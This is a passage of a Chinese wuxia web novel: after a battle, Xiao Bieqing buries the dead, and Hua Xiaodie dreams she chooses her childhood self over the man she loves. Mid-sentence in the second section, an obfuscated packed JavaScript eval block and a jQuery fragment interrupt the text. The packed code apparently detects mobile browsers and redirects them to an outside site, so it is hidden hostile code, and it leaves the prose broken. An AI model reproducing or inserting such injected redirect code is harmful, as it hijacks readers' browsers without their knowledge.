01
天光微亮,晨雾迷蒙。
无名道人替萧别情逼出体内尸毒,又从酒葫芦里倒出一粒褐色药丸,喂他吃了。萧别情自行运功化解后,只觉身子舒畅轻盈,旋即拜了拜道人,说道:“子弟见过师尊。”
无名道人点了点头,看了一眼花小蝶,又看一眼殷若花,目光专向天空,叹道:“黑夜尽头是白昼,白昼尽头是黑夜,循环往复,无止无休,这人间恩怨情仇,莫不如此。”说罢,看向萧别情,似笑非笑道:“太上忘情,练到第几层了?”
萧别情苍白的脸上忽然浮出一丝可疑的红晕。
无名道人哈哈一笑,说道:“有情便是无情,无情便是有情,若你堪得破,于你大有益处。”说罢,只听草木一阵哗哗作响,他已不见了。
萧别情目送无名道人远去,忽听一人轻声喊道:“萧大哥……”
他转过身,只见少女脸色苍白,衣衫被鲜血染红了一大半,神情凄然,怔怔地看着他。萧别情忽觉心脏如被针扎了一下也似,生出一丝尖锐的疼意。这一瞬间,在他眼里,竟然想将她抱在怀里,哄一哄,擦去她脸上的眼泪。这是他第一次想亲近一个成年人。
此时朝阳初生。
他朝她伸出手,金灿灿的阳光穿过缝隙落在他莹白的指尖上,宛若一块上好的羊脂白玉。
花小蝶慢吞吞地朝他走来,行了数步,忽然身子一歪,栽了下去。萧别情眼疾手快,已飞身上前接住她,只听她用极低极低的声音道:“萧大哥,劳你替我安……安葬董……”话音犹未落,已然晕过去。
萧别情正要收敛董星潭的尸体,忽听一人苦苦哀求道:“求……求你杀了我……”萧别情转身看她,只见她倒在血泊之中,整个人似已被鲜血浸泡得透了,神情扭曲,十分痛苦。
他眼中柔情一散,竟露出些许慈悲之色,殷若花牵起一抹释怀的笑,闭上了双眼。他一句话也没有说,抬起一掌,轻轻击毙了她。
深山里多了两座新坟,风一吹,木叶簌簌而落。
02
黑暗。
花小蝶只觉身子如一片落叶般,轻飘飘的。
她缓缓睁开眼,四周却是无边无际的黑暗,看不见半点灯火。
怎么回事?莫非,我又死了么?
四周虽是漆黑一片,却像无边无际的旷野,任她游走。
忽然,她心底生出一种神奇而强烈的直觉,驱使着她往前走去。
她走了数十步,忽见不远处似有一点亮光,闪烁如星。
在黑暗中看见光芒,譬如饥饿的人看见食物,溺水的人抓住浮木一般。
她快步朝前走去,只见那亮光渐渐扩大,竟是一个人影,白衣黑发,长身鹤立。
花小蝶一下子便认出他来,心下一喜,呼道:“萧大哥!”那人闻言,缓缓转过身来,朝她伸出手,柔声道:“你来了,我们回家。”
花小蝶用力点点头,心情激荡,正要快步奔去他身边,忽然听一阵低低啜泣声传来。她顿下脚步,顺着啜泣声瞧去,只见一点柔和的亮光慢慢扩大,亮光里有一个小小的小女童。小小的女童绑着两根小小的辫子,坐在地上,双手环肩,一张小脸埋在膝盖上,不住地啜泣,身子抖如风中落叶,看起来好可怜好可怜。
花小蝶盯着她,忽觉心中一阵没由来的激荡,问道:“你为什么哭?”
那小女孩闻言,缓缓抬起脸来,眼圈红红,泪流满面。花小蝶一惊,小女孩,正是小时候的自己!
小女孩似乎没认出她,怔怔地看着她,半晌,怯生生地道:“因为没人爱我。”
花小蝶面上露柔色,说道:“怎么会没人爱你呢?”
小女孩说道:“我出生就没了爹爹,只有娘和哥哥,你是说,我的娘和哥哥爱我么?”她忽然用力摇了摇头:“他们对我很好,可是,可是娘有时候会骂我,从来不肯好好听我说话,只是时常对我说,要以哥哥为重,因为哥哥是我们家的依靠。哥哥对我很好,可是,哥哥每日总是读书写字,等他以后成了亲,有了妻子和孩子,还会有许多许多的事要操心,更没时间关心我啦。我,我却仍然觉得很孤独。”
花小蝶问:“那,你觉得怎样才算爱你呢?”
小姑娘想了想,说:“一直陪着我,不会欺负我,责骂我,逼迫我,只会安慰我,保护我,倾听我。嗯,在我被人欺负的时候能站出来保护我,在我孤独的时候能倾听我,在我犯错的时候教导我,而不是责怪我,在我不愿意做别人要求我做的事时能理解我……还有,一直一直陪着我,从出生,直到死亡,一直陪着我,免我孤单寂寞。”
花小蝶觉得,若真心爱一个人,是会怕给的不够,而不会嫌给的太多。她前面说的那些要求,自然很是在理。萧大哥喜洁,她就将家里打扫得干干净净,令他见了欢喜,萧大哥爱吃素,不吃油,她便每日换着法子做素菜给他吃,萧大哥不想做的事,她便不强求他做。只因每个人都有自己的想法和喜恶,她越是喜欢萧大哥,便愈要尊重他,而不是以爱之名改变他。
他真心待她,她也愿意为他做任何事。
可是,这从出生到死亡,一直陪着对方,那便很难很难了。她遇见萧大哥时,萧大哥已出生二十余载了,她并没有在他出生时便陪着他,是以若是夫妇,便不可能达到这个条件。
有了!自己一生下来便是娘亲陪着,可是……可是娘亲总会先离自己而去,又怎么可能陪到自己死亡呢?兄弟姊妹更不用说啦,小时虽是亲密无间,但长大成人后,各自有了家庭,即便仍是亲人,却不如妻儿那般亲了。
普天之下,有谁能达到这个要求?从出生到死亡,一直陪伴着你。
花小蝶盯着小女童,见她亮汪汪的眼里映出两个小小的自己,忽地心神一震。
这个人,就是自己啊!
无论自己是美丽还是丑陋,风光还是落魄,从出生到死亡,能一直陪着自己的,正是自己啊!可是,竟然是自己,为什么在别人欺负自己时,却不敢站出来保护自己?为什么在别人强迫自己做不愿做的事时,不敢大胆地拒绝?为什么在别人嫌恶自己时,也跟着嫌恶自己?为什么在别人羞辱自己,贬低自己时,也跟着看低自己?
霎时,她只觉心中似有一道柔和的光芒绽开,照耀着她内心每一处不曾被看见的伤口。这道光芒柔和又温暖,瞬时抚平了灵魂的伤痛。
她微笑看着小女孩,不由自主朝她走去,说道:“天底下有一个人会这样爱你。”
小女孩愣愣地道:“谁?”
她说:“这个人,就是我。而我,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433817|163919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是你。”
她朝小女孩的方向走了几步,忽然间,只听见有人喊了她一声,她转头瞧去,萧别情正看着他,素来冷漠的眼里也已有了柔情。
她犹豫了。
这时,只听一道远方传来一道虚无缥缈的声音,说道:“新我生,旧我死。你若改变了命运走向,此刻的你,便会消弭于天地之间,不复存在。若你选择心爱之人,便可同他一生一世,白头到老,只不过,那个你,仍会重蹈覆辙。”
花小蝶看看萧别情,又看看小女童,他二人也都看着自己,似在等自己下决定。
小女童接触到花小蝶的目光,忽然垂下脸,伸手捂住耳朵,不愿听她的回答。
花小蝶微微一笑,眼角却犯红,心道:“如果连我自己都不爱自己,世界上还有谁会爱我?”
一瞬间,她已下定决心,一步一步朝小女孩走去,说道:“一个杯子,只有装满了水才能溢出。人亦如此,只有先爱自己,才能给别人爱。”
那声音又道:“那他呢?他没出生前,便没了父亲,十岁时,母亲走了,他便孤零零一个人在世上,可好在遇到了你,可你若离开,从今往后,他又是孤零零一个人了,你舍得么?”
花小蝶心下一痛,转眼看向萧别情。只见他仍看着自己,身后是无穷无尽的黑暗,他就像雪山上一株孤零零的梅花,似乎天底下所有的寂寞都已种在他的脚下。
她站定,与萧别情对视,心道:“若自己不爱自己,便纵有旁人来爱,亦是爱一时,痛快一时。可世事无常,若那人离开了,便又寂寞了。可若懂得爱自己,懂得与自己作伴,便是孤身一人行遍天涯海角,亦觉心安。”
她对萧别情微微一笑,说道:“萧大哥,我很欢喜你。只盼你欢欢喜喜,生生无忧。”萧别情嘴角微微上扬,似乎明白她的意思。
花小蝶行至小女童身边,温柔地抱住她,将下颌抵在她柔软的头顶,说道:“莫伤心。从出生到死亡,我一直陪着你。”
小女童身子一抖,抬头怔怔地看着她,忽然瘪瘪嘴,哇的一声哭出来,问道:“你为什么要选我?难道我比他好么?”
花小蝶伸出手指,替她揩去面上的热泪,说道:“就算你再不好,就算别人比你再好,我也仍然爱你。”
小女童愣了愣,忽然趴在她肩上大哭起来,说道:“为什么要爱我?我生得没人家漂亮,也不会读书写字……”
花小蝶道:“因为,我是你,你是我,所以我爱你。无论你是美丽还是丑陋,风光还是落魄,我都爱你。”
那小女孩只是紧紧抱住她,伏在她肩头不停地哭,不停地哭,似乎要将心中所有的委屈,恐惧,孤单都尽数哭出来。
不知过了几时,忽然间,小女孩身上的白光渐渐扩大,将四周映得一派雪亮。萧别情和小女童都已消失。眼前只见蓝天白云,山河壮阔,心里说不出的快意舒适。小女童虽然不见了,花小蝶却只觉身体里暖暖的,似已与她融为一体,此后,再也不怕孤单寂寞了。
她醒来时,嘴角仍留着微微笑意,梦境里的温暖仍留在心尖。
她看向窗外,只见天光大亮。
她缓缓坐起身,披了衣衫,趿着鞋子行至门边。一开门,只见一个人静静地守在门边,手中拎着一个雕花食盒。